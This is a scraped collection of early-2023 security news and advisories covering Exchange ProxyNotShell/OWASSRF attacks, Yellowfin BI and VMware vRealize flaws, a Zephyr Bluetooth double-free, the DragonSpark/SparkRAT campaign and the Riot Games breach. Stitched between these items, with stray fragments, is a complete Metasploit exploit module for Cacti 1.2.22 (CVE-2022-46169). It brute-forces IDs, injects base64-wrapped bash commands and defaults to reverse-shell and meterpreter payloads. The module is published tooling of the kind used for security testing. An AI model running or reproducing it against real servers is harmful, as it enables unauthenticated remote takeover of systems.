**According to the CVSS metric, the attack complexity is high (AC:H). What does that mean for this vulnerability?**

Successful exploitation of this vulnerability requires an attacker to win a race condition.

CVE-ID

Learn more at National Vulnerability Database (NVD)

• CVSS Severity Rating • Fix Information • Vulnerable Software Versions • SCAP Mappings • CPE Information

Description

\*\* RESERVED \*\* This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.

References

**Note:** References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete.

Assigning CNA

N/A

Date Record Created

**20221213**

Disclaimer: The record creation date may reflect when the CVE ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE.

Phase (Legacy)

Assigned (20221213)

Votes (Legacy)

Comments (Legacy)

Proposed (Legacy)

N/A

This is a record on the CVE List, which provides common identifiers for publicly known cybersecurity vulnerabilities.

Search CVE Using Keywords:  

You can also search by reference using the CVE Reference Maps.

For More Information:  CVE Request Web Form (select "Other" from dropdown)

CVE-2023-21712: Windows Point-to-Point Tunneling Protocol Remote Code Execution Vulnerability

By Waqas
Cybercriminals are leveraging two exploit chains (ProxyNotShell/OWASSRF) to target Microsoft Exchange servers, as warned by Bitdefender Labs.
This is a post from HackRead.com Read the original post: New Wave of Cyberattacks Targeting MS Exchange Servers

Most of the attacks occurred in the U.S. in November 2022, but some organizations in Austria, Poland, and Turkey were also targeted.

Bitdefender Labs has shared its findings on a new wave of untargeted cyberattacks in which attackers are abusing two exploit chains to target on-premises **MS Exchange servers**.

**Findings Review**

Bitdefender noted that, at the end of November 2022, there was an increase in attacks leveraging two exploit chains identified as **ProxyNotShell** and OWASSRF to target MS Exchange servers. The researchers found that cybercriminals prefer to exploit on-premises Exchange servers 2013, 2016, and 2019.

**Vulnerabilities explained**

Attackers use two tactics in their new attacks against the MS Exchange servers. The first is the ProxyNotShell vulnerability, a combination of two already-disclosed vulnerabilities tracked as **CVE-2022-41082** and **CVE-2022-41080**. It requires threat actors to authenticate to the vulnerable server; this vulnerability was patched in November 2022.

OWASSRF is the other vulnerability exploited in this attack chain. This exploit uses the same two vulnerabilities but in a different way. It is capable of bypassing the ProxyNotShell mitigation solutions; it was used in the Rackspace attack in December 2022.

**Attack Details**

Technically, the attack is called **server-side request forgeries/SSRF**. It allows threat actors to send a specially crafted request from a vulnerable server to another server to access resources and fulfil their malicious objectives on the vulnerable server.

Using the two vulnerabilities will allow the attacker to carry out **remote code execution** if they have the login credentials. They don’t necessarily have to be an administrator to perform desired actions, as any account can be used.

Microsoft **patched** these vulnerabilities on September 30th and November 8th, 2022. This means only those companies that haven’t yet fixed their systems are at risk. Most of the attacks, according to Bitdefender’s **blog post**, occurred in the U.S. in November 2022, but some organizations in Austria, Poland, and Turkey were also targeted.

The attackers target companies from various sectors, including law and brokerage firms, real estate, consultancy firms, and wholesalers. So far, over 100,000 organizations worldwide have been targeted by SSRF attacks.

**What is SSRF Attack?**

SSRF attacks are increasingly popular among cybercriminals because, if a web app is vulnerable to SSRF, the attacker can send a request from the vulnerable server to any local network resource which isn’t otherwise accessible to the attacker. Otherwise, the attacker would send a request to an external server, e.g., a cloud platform, to carry out specific actions on behalf of the vulnerable server.

I am a UK-based cybersecurity journalist with a passion for covering the latest happenings in cyber security and tech world. I am also into gaming, reading and investigative journalism

New Wave of Cyberattacks Targeting MS Exchange Servers

Pre- and post-auth path to pwnage

A trio of authentication bypass bugs stemming from the use of hardcoded keys have been patched in popular enterprise analytics platform Yellowfin BI.

After uncovering the pre-authentication vulnerabilities, security researchers from Assetnote then found a post-authentication path to command execution.

The flaws, which were discovered by Assetnote’s Max Garrett, have been assigned CVE numbers but not, as yet, CVSS scores.

**Bypasses**

The issues were discovered via instances of authentication logic as indicated by .

One authentication bypass (CVE-2022-47884) arose because contained “logic where allowed us to sign in as any user, as long as a signature check was passed”, according to a blog post published by Garrett and Assetnote CTO and co-founder Shubham Shah yesterday (January 24). The hardcoded private RSA key meant anyone could pass the signature check.

A second bypass, found in the JsAPI servlet, meant attackers could authenticate through the EXTAPI-IPID cookie, which was AES-encrypted using the hardcoded key’s user id (CVE-2022-47885).

“So it is possible for anyone who knows the victim’s user id to create a valid session as their account,” explained the blog post.

Read more of the latest enterprise security news

The third and final bypass (CVE-2022-47882) centered on Yellowfin’s suboptimal implementation of JWTs inside the REST API.

A valid refresh token id and extracted hardcoded key enabled the creation of a valid JWT as any user, although the impact was limited to privilege escalation given the need for a valid refresh token ID generated from a successful login.

Having performed an authentication bypass, a fourth bug – CVE-2022-47883 – then enabled attackers to perform remote code execution (RCE).

Noting Yellowfin BI’s connection to arbitrary data sources to pull data into the application, the researchers investigated whether JNDI or JDBC injections might enable command execution – and the JNDI mechanism, by using the gadget, duly proved fruitful.

Assetnote has published the full proof-of-concept exploit chain on GitHub.

The vulnerabilities have been patched in Yellowfin BI 9.8.1.

**Monolith application advice**

“In our assessment of enterprise applications, we often find hardcoded keys that lead to significant security impact (for example, our bug in VMWare AirWatch),” Shah told The Daily Swig. “Many enterprise products can be difficult to obtain due to qualification and sales processes. However once the source code has been obtained, there are often many critical vulnerabilities that can be exploited readily and easily.”

Yellowfin is a Java monolith application, and Shah and Garrett offered methodological advice to other security researchers hunting in similar codebases: “Map out the pre-authentication attack surface in as much detail as possible,” they said.

“Understand all of the routes, both static and dynamic, and then determine which portion of these routes are actually accessible without any authentication.”

After mapping pre-authentication routes, “determine how user input is processed by these routes and understand which routes take in what user input”, they continued. This will uncover issues warranting further investigation “simply based off the names of the controllers or parameters”.

YOU MIGHT ALSO LIKE AWS patches bypass bug in CloudTrail API monitoring tool

Yellowfin tackles auth bypass bug trio that opened door to RCE

VMware on Tuesday released software to remediate four security vulnerabilities affecting vRealize Log Insight (aka Aria Operations for Logs) that could expose users to remote code execution attacks.
Two of the flaws are critical, carrying a severity rating of 9.8 out of a maximum of 10, the virtualization services provider noted in its first security bulletin for 2023.
Tracked as CVE-2022-31706

Software Security / VMware

VMware on Tuesday released software to remediate four security vulnerabilities affecting vRealize Log Insight (aka Aria Operations for Logs) that could expose users to remote code execution attacks.

Two of the flaws are critical, carrying a severity rating of 9.8 out of a maximum of 10, the virtualization services provider noted in its first security bulletin for 2023.

Tracked as CVE-2022-31706 and CVE-2022-31704, the directory traversal and broken access control issues could be exploited by a threat actor to achieve remote code execution irrespective of the difference in the attack pathway.

"An unauthenticated, malicious actor can inject files into the operating system of an impacted appliance which can result in remote code execution," the company said of the two shortcomings.

A third vulnerability relates to a deserialization flaw (CVE-2022-31710, CVSS score: 7.5) that could be weaponized by an unauthenticated attacker to trigger a denial-of-service (DoS) condition.

Lastly, vRealize Log Insight has also been found susceptible to an information disclosure bug (CVE-2022-31711, CVSS score: 5.3) which could permit access to sensitive session and application data without any authentication.

The Zero Day Initiative (ZDI) has been credited for reporting all the flaws. Besides releasing version 8.10.2 to address the issues, VMware has also provided workarounds to mitigate them until the patches can be applied.

While there is no indication that the aforementioned vulnerabilities have been exploited in the wild, it's not uncommon for threat actors to target VMware appliances in their attacks, making it essential that the fixes are applied as soon as possible.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

VMware Releases Patches for Critical vRealize Log Insight Software Vulnerabilities

Categories: Exploits and vulnerabilities
Categories: News
Tags: vRealize

Tags:  VMware

Tags:  CVE-2022-31706

Tags:  CVE-2022-31704

Tags:  CVE-2022-31702

Tags:  path traversal

Tags:  directory traversal

Tags:  broken access control

VMware has issued a security advisory for vRealize Log Insight that covers four vulnerabilities, including two critical RCEs



(Read more...)




The post Update vRealize now! VMware patches critical RCE vulnerabilities appeared first on Malwarebytes Labs.

Posted: January 25, 2023 by

VMware has issued a security advisory for vRealize Log Insight that covers four vulnerabilities reported privately by the Zero Day Initiative (ZDI). Two of these vulnerabilities are rated as critical.

The issues have been fixed on vRealize Log Insight 8.10.2, so users should upgrade to the latest version. For administrators that are unable or unwilling to apply the update, there are workaround instructions available for the two critical vulnerabilities.

**vRealize**

VMware’s vRealize Log Insight—which was recently renamed to VMware Aria Operations for Logs—is a log collection and analytics appliance that enables administrators to monitor application logs, network traces, configuration files, messages and performance data. It helps them to troubleshoot private, hybrid, and multi-cloud environments, as well as perform security auditing and compliance testing. This is accomplished by placing an agent on each monitored device that collects analytics data on performance, state and logs.

**Vulnerabilities**

The first critical vulnerability is CVE-2022-31706, a directory traversal vulnerability with a CVSS score of 9.8 out of 10. Directory or path traversal flaws allow attackers to read, and possibly write to, restricted files by inputting path traversal sequences like ../ into file or directory paths. In this case, an unauthenticated, malicious actor can inject files into the operating system of an impacted appliance, which can result in remote code execution.

The other critical vulnerability is CVE-2022-31704, a broken access control vulnerability which also has a CVSS score of 9.8. It allows an unauthenticated, malicious actor to inject files into the operating system of an impacted appliance which can result in remote code execution. Access control intention is to enforce policies which make sure that users cannot act outside of their intended permissions.

The other two vulnerabilities are less critical, but they can result in a denial of service or information disclosure in the hands of an attacker.

**Urgency**

None of the vulnerabilities are known to be exploited in the wild, but VMware solutions are an attractive target for threat actors. And since both critical vulnerabilities offer unauthenticated threat actors an opportunity for remote code execution, it’s recommended to apply the patches at your earliest convenience or use the workaround while waiting for a suitable moment.

Earlier this month, VMware addressed multiple vulnerabilities in VMware vRealize Network Insight (vRNI). One of these vulnerabilities, listed as CVE-2022-31702 also had a CVSS score of 9.8. It allowed a malicious actor with network access to the vRNI REST API can execute commands without authentication.

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

**RELATED ARTICLES**

Update vRealize now! VMware patches critical RCE vulnerabilities

Inconsistent handling of error cases in bluetooth hci may lead to a double free condition of a network buffer.

**Impact**

Inconsistent handling of error cases in bluetooth hci may lead  
to a double free condition of a network buffer.

**Details**

In a bluetooth driver, when sending a packet via bt_send fails in the  
lower driver's send function (such as bt_spi_send), then the  
convention is that the ownership remains with the caller of bt_send.

This means that in the error case, the caller of bt_send will clean up  
all references to the netbuf it provided to bt_send(net_buf *buf).

This convention is observed by most driver functions. For example:

h4_send handles sending packets by indicating success in all cases  
initially, and then cleaning up the reference itself.

*   Indicating success in h4_send  
    
*   Un-referencing the buffer in the processing loop process_tx:  
    

This is, however, not always adhered to. For example:

1.  bt_spi_send netbuf is unreferenced in the error case  
    bt_spi_transceive fails:  
      
    (however, other error cases do not unreference the netbuf. For example,  
    the case of a too long buffer:  
    
    } while ((rxmsg\[STATUS\_HEADER\_READY\] != READY\_NOW ||
    
    )
2.  bt_esp32_send unreferences the netbuf in the timeout error case:  
      
    (for the other error case "unknown type", however, the function  
    indicates a zero result, in which case the convention is not broken. So  
    only the presumably much less frequently observed timeout case breaks  
    the convention)

Bug trigger source code references:

*   bt_spi_send unref despite error case  
    
*   hci_tx_thread->process_events->send_cmd buffer un-referencing for  
    bt_send error:  
    

For completeness, the different hci implementations should be re-checked  
for exhibiting this issue depending on error code paths.

A possible attack scenario here could be an attacker who compromised a  
radio chip and then proceeds to attack the bluetooth host stack via the  
HCI interface. Such an attacker could also be in a position to induce  
SPI errors on the sending side such as spamming traffic or indicating  
errors to the sender (e.g., in spi flow control). An attacker which is  
able to induce errors in different SPI bluetooth sending functions can  
cause a double free scenario on a network buffer. I have not checked the  
exploitability of this specific situation, but apart from a simple crash  
(DoS), double frees are typically a strong primitive for an attacker to  
achieve more with this, such as RCE.

**Patches****Credits**

Tobias Scharnowski  
Simon Woerner  
Felix Buchmann

**For more information**

If you have any questions or comments about this advisory:

*   Open an issue in zephyr
*   Email us at Zephyr-vulnerabilities

embargo: 2023-01-17

CVE-2022-3806: Bluetooth HCI Error Handling Double Free

Hackers cleverly cobbled together a suite of open source software — including a novel RAT — and hijacked servers owned by ordinary businesses.

We imagine that the world’s most successful hackers write their own dangerous code and invest heavily in the technologies they use to breach their targets. In recent months, however, a new cluster of attacks succeeded with just the opposite approach.

According to a report out Jan. 24 from SentinelOne, a threat actor compromised a number of organizations across China and Taiwan by creating a Frankenstein's monster-style composite of preexisting open source components. Among them: multiple tools for escalating user privileges in Windows machines, and for establishing persistence and allowing remote code execution.

In addition to adopting other hackers' code, the attackers freely adopted other organizations' infrastructure, too. In staging their malware, the hackers puppeteered servers located in China, Hong Kong, Singapore, and Taiwan, many of which were hosted by perfectly ordinary businesses, including an art gallery, a retailer for baby products, and companies in the gaming and gambling industries.

Researchers from SentinelOne named the campaign "DragonSpark" — a portmanteau referencing the attackers' Chinese-language links, and "SparkRAT," an open source remote access Trojan (RAT) never seen in the wild until now.

**An Open Source Party**

To gain initial access to their targets, the DragonSpark attackers sought out Internet-exposed Web servers and MySQL database servers. Then, with a foot in the door, they began deploying open source malware.

"Open source tools and existing infrastructure are very practical to threat actors," Aleksandar Milenkoski, senior threat researcher at SentinelOne, tells Dark Reading. This is especially true of "actors involved in cybercrime activities without many resources and in-depth technical readiness to develop their own tool set and setup an intricate infrastructure, but aiming for large-scale, opportunistic attacks at the same time."

The DragonSpark attackers carried out their opportunistic attacks with programs like SharpToken and BadPotato, which enable the execution of commands at the level of the Windows operating system. SharpToken also provides visibility to user and process information; it allows a user to freely add, delete, or modify passwords of system users. BadPotato, the researchers noted, had been previously used by other Chinese threat actors in an espionage campaign.

Next in the arsenal was GotoHTTP, which facilitates persistence, file transfer, and remote screen viewing. But the most notable malware of all was SparkRAT — "a very recent development on the threat landscape," Milenkoski noted. DragonSpark represents "the first concrete observation of threat actors using SparkRAT as part of larger campaigns."

Released in its current version on Nov. 1, 2022, SparkRAT is a jack of all trades. It's compatible with not only Windows but also Linux and macOS systems. Its most notable features are as follows, as the researchers outlined:

*   _**"Command execution:** including execution of arbitrary Windows system and PowerShell commands;_
*   _**System manipulation:** including system shutdown, restart, hibernation, and suspension;_
*   _**File and process manipulation:** including process termination as well as file upload, download, and deletion; and_
*   _**Information theft:** including exfiltration of platform information (CPU, network, memory, disk, and system uptime information), screenshot theft, and process and file enumeration."_

SparkRAT, SharpToken, Bad Potato, and GotoHTTP are all freely available to download online. As open-source tools, their use also makes attribution more difficult.

**Links to China**

All of the targets of DragonSpark were organizations based in East Asia. Many of them "have a large customer base," Milenkoski observes, "leading to the belief that the threat actors may be targeting customer data." Whether the motive was cybercrime or espionage was not determined.

Though unable to attribute anyone specific, the researchers considered it "highly likely" that the DragonSpark attackers were Chinese speakers. That is, in part, explained by the fact that most of their infrastructure and targets were located in East Asia. Additionally, the Web shell they used to deploy their malware — a well-known tool called China Chopper — and all of the open source tools described above were originally developed by Chinese-speaking developers and vendors.

This is consistent with recent activity in the world of Chinese threat actors. An alert published last summer by the Cybersecurity and Infrastructure Security Agency (CISA) highlighted how state-sponsored APTs from the People's Republic "often mix their customized toolset with publicly available tools."

All signs point to more of these kinds of attacks going forward. SparkRAT in particular, though nascent to the scene, "is regularly updated with new features," the SentinelOne researchers noted, adding that "the RAT will remain attractive to cybercriminals and other threat actors in the future."

'DragonSpark' Malware: East Asian Cyberattackers Create an OSS Frankenstein

This Metasploit module exploits an unauthenticated command injection vulnerability in Cacti versions through 1.2.22 in order to achieve unauthenticated remote code execution as the www-data user.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Cacti 1.2.22 unauthenticated command injection',        'Description' => %q{          This module exploits an unauthenticated command injection          vulnerability in Cacti through 1.2.22 (CVE-2022-46169) in          order to achieve unauthenticated remote code execution as the          www-data user.          The module first attempts to obtain the Cacti version to see          if the target is affected. If LOCAL_DATA_ID and/or HOST_ID          are not set, the module will try to bruteforce the missing          value(s). If a valid combination is found, the module will          use these to attempt exploitation. If LOCAL_DATA_ID and/or          HOST_ID are both set, the module will immediately attempt          exploitation.          During exploitation, the module sends a GET request to          /remote_agent.php with the action parameter set to polldata          and the X-Forwarded-For header set to the provided value for          X_FORWARDED_FOR_IP (by default 127.0.0.1). In addition, the          poller_id parameter is set to the payload and the host_id          and local_data_id parameters are set to the bruteforced or          provided values. If X_FORWARDED_FOR_IP is set to an address          that is resolvable to a hostname in the poller table, and the          local_data_id and host_id values are vulnerable, the payload          set for poller_id will be executed by the target.          This module has been successfully tested against Cacti          version 1.2.22 running on Ubuntu 21.10 (vulhub docker image)        },        'License' => MSF_LICENSE,        'Author' => [          'Stefan Schiller', # discovery (independent of Steven Seeley)          'Steven Seeley', # (mr_me) @steventseeley - discovery (independent of Stefan Schiller)          'Owen Gong', # @phithon_xg - vulhub PoC          'Erik Wynter' # @wyntererik - Metasploit        ],        'References' => [          ['CVE', '2022-46169'],          ['URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf'], # disclosure and technical details          ['URL', 'https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169'], # vulhub vulnerable docker image and PoC          ['URL', 'https://www.sonarsource.com/blog/cacti-unauthenticated-remote-code-execution'] # analysis by Stefan Schiller        ],        'DefaultOptions' => {          'RPORT' => 8080        },        'Platform' => %w[unix linux],        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],        'Targets' => [          [            'Automatic (Unix In-Memory)',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },              'Type' => :unix_memory            }          ],          [            'Automatic (Linux Dropper)',            {              'Platform' => 'linux',              'Arch' => [ARCH_X86, ARCH_X64],              'CmdStagerFlavor' => ['echo', 'printf', 'wget', 'curl'],              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },              'Type' => :linux_dropper            }          ]        ],        'Privileged' => false,        'DisclosureDate' => '2022-12-05',        'DefaultTarget' => 1,        'Notes' => {          'Stability' => [ CRASH_SAFE ],          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],          'Reliability' => [ REPEATABLE_SESSION ]        }      )    )    register_options([      OptString.new('TARGETURI', [true, 'The base path to Cacti', '/']),      OptString.new('X_FORWARDED_FOR_IP', [true, 'The IP to use in the X-Forwarded-For HTTP header. This should be resolvable to a hostname in the poller table.', '127.0.0.1']),      OptInt.new('HOST_ID', [false, 'The host_id value to use. By default, the module will try to bruteforce this.']),      OptInt.new('LOCAL_DATA_ID', [false, 'The local_data_id value to use. By default, the module will try to bruteforce this.'])    ])    register_advanced_options([      OptInt.new('MIN_HOST_ID', [true, 'Lower value for the range of possible host_id values to check for', 1]),      OptInt.new('MAX_HOST_ID', [true, 'Upper value for the range of possible host_id values to check for', 5]),      OptInt.new('MIN_LOCAL_DATA_ID', [true, 'Lower value for the range of possible local_data_id values to check for', 1]),      OptInt.new('MAX_LOCAL_DATA_ID', [true, 'Upper value for the range of possible local_data_id values to check for', 100])    ])  end  def check    # sanity check to see if the target is likely Cacti    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path)    })    unless res      return CheckCode::Unknown('Connection failed.')    end    unless res.code == 200 && res.body.include?('<title>Login to Cacti')      return CheckCode::Safe('Target is not a Cacti application.')    end    # get the version    version = res.body.scan(/Version (.*?) \| \(c\)/)&.flatten&.first    if version.blank?      return CheckCode::Detected('Could not determine the Cacti version: the HTTP response body did not match the expected format.')    end    begin      if Rex::Version.new(version) <= Rex::Version.new('1.2.22')        return CheckCode::Appears("The target is Cacti version #{version}")      else        return CheckCode::Safe("The target is Cacti version #{version}")      end    rescue StandardError => e      return CheckCode::Unknown("Failed to obtain a valid Cacti version: #{e}")    end  end  def exploitable_rrd_names    [      'apache_total_kbytes',      'apache_total_hits',      'apache_total_hits',      'apache_total_kbytes',      'apache_cpuload',      'boost_avg_size',      'boost_peak_memory',      'boost_records',      'boost_table',      'ExportDuration',      'ExportGraphs',      'syslogRuntime',      'tholdRuntime',      'polling_time',      'uptime',    ]  end  def brute_force_ids    # perform a sanity check first    if @host_id      host_ids = [@host_id]    else      if datastore['MAX_HOST_ID'] < datastore['MIN_HOST_ID']        fail_with(Failure::BadConfig, 'The value for MAX_HOST_ID is lower than MIN_HOST_ID. This is impossible')      end      host_ids = (datastore['MIN_HOST_ID']..datastore['MAX_HOST_ID']).to_a    end    if @local_data_id      local_data_ids = [@local_data_ids]    else      if datastore['MAX_LOCAL_DATA_ID'] < datastore['MIN_LOCAL_DATA_ID']        fail_with(Failure::BadConfig, 'The value for MAX_LOCAL_DATA_ID is lower than MIN_LOCAL_DATA_ID. This is impossible')      end      local_data_ids = (datastore['MIN_LOCAL_DATA_ID']..datastore['MAX_LOCAL_DATA_ID']).to_a    end    # lets make sure the module never performs more than 1,000 possible requests to try and bruteforce host_id and local_data_id    max_attempts = host_ids.length * local_data_ids.length    if max_attempts > 1000      fail_with(Failure::BadConfig, 'The number of possible HOST_ID and LOCAL_DATA_ID combinations exceeds 1000. Please limit this number by adjusting the MIN and MAX options for both parameters.')    end    potential_targets = []    request_ct = 0    print_status("Trying to bruteforce an exploitable host_id and local_data_id by trying up to #{max_attempts} combinations")    host_ids.each do |h_id|      print_status("Enumerating local_data_id values for host_id #{h_id}")      local_data_ids.each do |ld_id|        request_ct += 1        print_status("Performing request #{request_ct}...") if request_ct % 25 == 0        res = send_request_cgi(remote_agent_request(ld_id, h_id, rand(1..1000)))        unless res          print_error('No response received. Aborting bruteforce')          return nil        end        unless res.code == 200          print_error("Received unexpected response code #{res.code}. This shouldn't happen. Aborting bruteforce")          return nil        end        begin          parsed_response = JSON.parse(res.body)        rescue JSON::ParserError          print_error("The response body is not in valid JSON format. This shouldn't happen. Aborting bruteforce")          return nil        end        unless parsed_response.is_a?(Array)          print_error("The response body is not in the expected format. This shouldn't happen. Aborting bruteforce")          return nil        end        # the array can be empty, which is not an error but just means the local_data_id is not exploitable        next if parsed_response.empty?        first_item = parsed_response.first        unless first_item.is_a?(Hash) && ['value', 'rrd_name', 'local_data_id'].all? { |key| first_item.keys.include?(key) }          print_error("The response body is not in the expected format. This shouldn't happen. Aborting bruteforce")          return nil        end        # some data source types that can be exploited have a valid rrd_name. these are included in the exploitable_rrd_names array        # if we encounter one of these, we should assume the local_data_id is exploitable and try to exploit it        # in addition, some data source types have an empty rrd_name but are still exploitable        # however, if the rrd_name is blank, the only way to verify if a local_data_id value corresponds to an exploitable data source, is to actually try and exploit it        # instead of trying to exploit all potential targets of the latter category, let's just save these and print them at the end        # then the user can try to exploit them manually by setting the HOST_ID and LOCAL_DATA_ID options        rrd_name = first_item['rrd_name']        if rrd_name.empty?          potential_targets << [h_id, ld_id]        elsif exploitable_rrd_names.include?(rrd_name)          print_good("Found exploitable local_data_id #{ld_id} for host_id #{h_id}")          return [h_id, ld_id]        else          next # if we have a valid rrd_name but it's not in the exploitable_rrd_names array, we should move on        end      end    end    return nil if potential_targets.empty?    # inform the user about potential targets    print_warning("Identified #{potential_targets.length} host_id - local_data_id combination(s) that may be exploitable, but could not be positively identified as such:")    potential_targets.each do |h_id, ld_id|      print_line("\thost_id: #{h_id} - local_data_id: #{ld_id}")    end    print_status('You can try to exploit these by manually configuring the HOST_ID and LOCAL_DATA_ID options')    nil  end  def execute_command(cmd, _opts = {})    # use base64 encoding to get around special char limitations    cmd = "`echo #{Base64.strict_encode64(cmd)} | base64 -d | /bin/bash`"    send_request_cgi(remote_agent_request(@local_data_id, @host_id, cmd), 0)  end  def exploit    @host_id = datastore['HOST_ID'] if datastore['HOST_ID'].present?    @local_data_id = datastore['LOCAL_DATA_ID'] if datastore['LOCAL_DATA_ID'].present?    unless @host_id && @local_data_id      brute_force_result = brute_force_ids      unless brute_force_result        fail_with(Failure::NoTarget, 'Failed to identify an exploitable host_id - local_data_id combination.')      end      @host_id, @local_data_id = brute_force_result    end    if target.arch.first == ARCH_CMD      print_status('Executing the payload. This may take a few seconds...')      execute_command(payload.encoded)    else      execute_cmdstager(background: true)    end  end  def remote_agent_request(ld_id, h_id, poller_id)    {      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'remote_agent.php'),      'headers' => {        'X-Forwarded-For' => datastore['X_FORWARDED_FOR_IP']      },      'vars_get' => {        'action' => 'polldata',        'local_data_ids[0]' => ld_id,        'host_id' => h_id,        'poller_id' => poller_id # when bruteforcing, this is a random number, but during exploitation this is the payload      }    }  endend

Cacti 1.2.22 Command Injection

Categories: News
Tags: Riot Games

Tags:  valorant

Tags:  league of legends

Tags:  compromise

Tags:  development

Tags:  patch

Tags:  patching

Tags:  update

Riot Games has revealed that it has been compromised after a social engineering attack.



(Read more...)




The post Riot Games compromised, new releases and patches halted appeared first on Malwarebytes Labs.

Posted: January 24, 2023 by

Popular game developer Riot Games brings word of a system compromise which may cause issues for updates to well known titles, although for the time being it seems as though customer data isn't affected.

**A social engineering development**

Making the notification via Twitter late last week, we’re still waiting on the full story as an investigation takes place. For now Riot, stewards of titles such as Valorant and League of Legends, made the following statement in relation to the attack:

> Earlier this week, systems in our development environment were compromised via a social engineering attack. We don’t have all the answers right now, but we wanted to communicate early and let you know there is no indication that player data or personal information was obtained.

We may not be told the full details of what exactly took place here. Based on how these things usually tend to go, social engineering launched via an email sent directly to an employee could be a strong candidate.

Having said that, games publishers and developers make use of everything from social media to Discord for keeping in touch with players and fans. It could just as easily be that this began in a social media direct message and spiralled from there.

**Slowdowns expected**

Riot Games manages a number of incredibly popular online titles. This newly discovered compromise is going to cause some drag and delay in relation to keeping things updated with new content and other under the hood activities.

> Unfortunately, this has temporarily affected our ability to release content. While our teams are working hard on a fix, we expect this to impact our upcoming patch cadence across multiple games.

League of Legends, for example, has a regular patching cycle and some of those patches are very large indeed, as you’d expect for an online game. The League of Legends Twitter account has already warned of potential impact. Valorant operates in much the same way. We can expect similar across all titles as resources are used up to ensure the compromise has been fully contained and addressed.

**The game developer jackpot**

Games companies have been major targets for compromise for years, which is only to be expected considering the huge amount of data these organisations have access to. There are so many areas for exploitation, from game platform logins to publisher-centric accounts. You can target a PC running a game with remote code execution, go phishing for two-factor authentication codes, steal an account and sell digital items from its inventory…the list is endless.

The only good thing here is the low probability of customer data having been grabbed, with the attack instead focusing on the development environment for reasons known only to the attacker. There have been many incidents where attackers poking around behind the scenes have been in an effort to upload or release rogue files via game titles themselves.

This hasn’t happened here, thankfully, and with any luck Riot Games will release additional information as the week goes by.

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

**RELATED ARTICLES**

Riot Games compromised, new releases and patches halted

Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability.

Tag

#rce